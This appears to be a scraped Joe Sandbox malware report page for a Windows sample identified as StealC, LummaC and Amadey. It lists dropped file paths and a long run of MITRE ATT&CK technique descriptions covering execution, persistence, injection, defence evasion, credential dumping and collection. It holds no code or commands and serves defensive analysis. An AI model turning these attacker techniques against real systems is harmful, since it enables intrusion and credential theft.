Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_3f7907aa-424d-42a1-96cb-7b90df2adcdb.json (copy)

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_3f7907aa-424d-42a1-96cb-7b90df2adcdb.json.tmp

C:\Users\user\1000350002\014cda2328.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe

C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre